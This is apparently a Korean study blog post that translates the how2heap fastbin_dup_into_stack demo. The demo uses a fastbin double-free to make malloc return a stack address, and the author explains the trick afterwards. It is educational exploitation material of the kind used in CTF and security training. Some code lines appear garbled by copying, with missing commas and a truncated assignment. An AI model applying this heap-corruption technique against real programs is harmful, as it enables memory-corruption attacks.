본문 바로가기

Pwnable/how2heap

how2heap fastbin_dup_into_stack


원본 소스 : https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c

번역한 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdlib.h>
 
int main(void) {
    printf("이 파일은 fastbin_dup_kr.c에서 확장되어 malloc의 리턴 주소를 컨트롤 된 주소(여기서는 스택 주소)로 리턴할 수 있도록 합니다.\n");
 
    unsigned long long stack_var;
 
    printf("우리가 malloc()의 리턴으로 원하는 주소는 %p 입니다.\n"8 + (char*)&stack_var);
 
    printf("먼저 세 개의 버퍼를 할당합니다.\n");
    int* a = malloc(8);
    int* b = malloc(8);
    int* c = malloc(8);
    
    printf("첫 번째 malloc(8): %p\n", a);
    printf("두 번째 malloc(8): %p\n", b);
    printf("세 번째 malloc(8): %p\n", c);
 
    printf("그 다음 첫 번째를 free합니다.\n");
    free(a);
 
    printf("만약 우리가 %p를 다시 free한다면, 크래시가 날 것입니다. 왜냐하면 %p는 free리스트의 가장 위에 있기 때문입니다.\n", a, a);
    // free(a);
 
    printf("그러므로, 우리는 %p를 대신 free할 것입니다.\n", b);
    free(b);
 
    printf("이제 우리는 다시 %p를 free할 수 있습니다. 왜냐하면 이 이후로 더 이상 free리스트의 맨 위에 있지 않기 때문입니다.\n", a);
    free(a);
 
    printf("이제 free리스트는 [ %p, %p, %p ]를 가지고 있습니다. 우리는 이제 %p에 위치한 데이터를 수정함으로써 공격을 실행할 것입니다.\n", a, b, a, a);
    unsigned long long* d = malloc(8);
 
    printf("첫 번째 malloc(8): %p\n", d);
    printf("두 번째 malloc(8): %p\n"malloc(8));
    printf("이제 우리는 가짜 free 사이즈(여기서는 0x20)을 스택에 쓸 것입니다.\n"
            "따라서 malloc은 그곳이 free 청크라고 생각하고 리턴 주소를 그곳을 가리키게 할 것입니다.\n");
    stack_var = 0x20;
 
    printf("이제 우리는 0x20 다음 주소를 가리키도록 %p에 위치한 첫 8바이트를 덮어 씌울 것입니다.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    printf("세 번째 malloc(8): %p\n"malloc(8));
    printf("네 번째 malloc(8): %p\n"malloc(8));
}
 
cs


fastbin에서 더블 프리로 malloc의 리턴 주소를 컨트롤 할 수 있는 방법이다. 처음에는 방법이 잘 이해가 가지 않았었는데 여러번 반복해서 보다 보니까 이해가 갔다. 간단하게 말하자면 먼저 스택에 0x20을 넣어 이를 free 청크 사이즈로 쓴다. 그리고 나서 *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); 이 코드를 실행하는데 여기서 d에 있는 주소는 더블 프리된 주소로써 현재 할당되어 있으면서 fastbin에 속해있는 주소이다. 즉, 이 d주소를 이용해서 할당된 메모리 공간 첫 8바이트에 스택의 주소를 써주면 free청크의 입장에서 fd필드가 스택의 주소를 가리키게 되서 네 번째 malloc에서는 스택의 주소를 할당하게 된다.

진짜 이 방법을 생각해 낸 사람은 너무 똑똑한 거 같다. 이제 이와 관련된 문제를 풀어봐야겠다.

'Pwnable > how2heap' 카테고리의 다른 글

how2heap fastbin_dup  (0) 2016.05.16
how2heap first_fit  (0) 2016.05.15